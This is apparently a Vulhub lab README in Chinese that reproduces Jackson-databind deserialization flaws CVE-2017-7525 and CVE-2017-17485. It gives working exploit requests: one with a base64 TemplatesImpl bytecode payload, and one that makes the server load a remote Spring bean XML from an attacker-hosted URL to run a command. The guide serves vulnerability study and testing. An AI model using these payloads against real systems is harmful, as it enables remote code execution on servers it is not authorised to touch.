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119 lines
5.2 KiB
Markdown
119 lines
5.2 KiB
Markdown
# Jackson-databind 反序列化漏洞 CVE-2017-7525 / CVE-2017-17485
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## 漏洞描述
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Jackson-databind 支持 [Polymorphic Deserialization](https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization) 特性（默认情况下不开启），当 json 字符串转换的 Target class 中有 polymorph fields，即字段类型为接口、抽象类或 Object 类型时，攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类)，来实现实例化指定的类，借助某些特殊的 class，如 `TemplatesImpl`，可以实现任意代码执行。
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所以，本漏洞利用条件如下：
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- 开启 JacksonPolymorphicDeserialization，即调用以下任意方法
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```java
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objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE
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objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
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```
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- Target class 需要有无参 constructor
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- Target class 中需要需要有字段类型为 Interface、abstract class、Object，并且使用的 Gadget 需要为其子类 / 实现接口
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## 环境搭建
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Vulhub 搭建环境：
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```shell
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docker-compose up -d
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```
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环境启动后，Web 运行在 `http://your-ip:8080/`。
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## 漏洞复现
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### CVE-2017-7525
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`Jackson-databind` 在设置 Target class 成员变量参数值时，若没有对应的 getter 方法，则会使用 `SetterlessProperty` 调用 getter 方法，获取变量，然后设置变量值。当调用 `getOutputProperties()` 方法时，会初始化 `transletBytecodes` 包含字节码的类，导致命令执行，具体可参考 [java-deserialization-jdk7u21-gadget-note](https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/) 中关于 `TemplatesImpl` 的说明。
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使用 JDK7u21 的 `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl` 作为 Gadget，发送如下请求，将会执行 `touch /tmp/prove1.txt`：
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```
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POST /exploit HTTP/1.1
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Host: your-vps-ip:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/json
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Content-Length: 1298
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{
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"param": [
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"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
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{
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"transletBytecodes": [
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"yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="
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],
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"transletName": "a.b",
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"outputProperties": {}
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}
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]
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}
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```
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这个 POC 只能运行在目标为 JDK7u21 以下的环境中，其他情况请更换 Gadget。
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### CVE-2017-17485
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CVE-2017-7525 [黑名单修复](https://github.com/FasterXML/jackson-databind/commit/60d459cedcf079c6106ae7da2ac562bc32dcabe1) 绕过，利用了 `org.springframework.context.support.FileSystemXmlApplicationContext`。
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利用该漏洞，我们需要创建一个 bean 文件，放置在任意服务器上，如 `http://evil/spel.xml`，内容如下：
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```
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<beans xmlns="http://www.springframework.org/schema/beans"
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xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
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xsi:schemaLocation="
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http://www.springframework.org/schema/beans
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http://www.springframework.org/schema/beans/spring-beans.xsd
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">
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<bean id="pb" class="java.lang.ProcessBuilder">
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<constructor-arg>
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<array>
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<value>touch</value>
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<value>/tmp/prove2.txt</value>
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</array>
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</constructor-arg>
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<property name="any" value="#{ pb.start() }"/>
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</bean>
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</beans>
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```
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然后，发送如下数据包，使 Jackson 加载 bean，触发漏洞：
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```
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POST /exploit HTTP/1.1
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Host: your-vps-ip:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/json
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Content-Length: 134
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{
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"param": [
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"org.springframework.context.support.FileSystemXmlApplicationContext",
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"http://your-vps-ip/spel.xml"
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]
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}
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```
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成功执行 `touch /tmp/prove2.txt`：
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